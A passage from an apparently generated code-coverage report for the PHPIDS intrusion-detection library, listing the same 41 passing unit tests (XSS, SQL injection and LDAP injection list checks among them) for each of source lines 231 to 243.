class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel231": { - "header": "41 tests cover line 231", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel233": { - "header": "41 tests cover line 233", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel235": { - "header": "41 tests cover line 235", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel237": { - "header": "41 tests cover line 237", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel238": { - "header": "41 tests cover line 238", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel239": { - "header": "41 tests cover line 239", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel240": { - "header": "41 tests cover line 240", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel241": { - "header": "41 tests cover line 241", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel242": { - "header": "41 tests cover line 242", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel243": { - "header": "41 tests cover line 243", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li 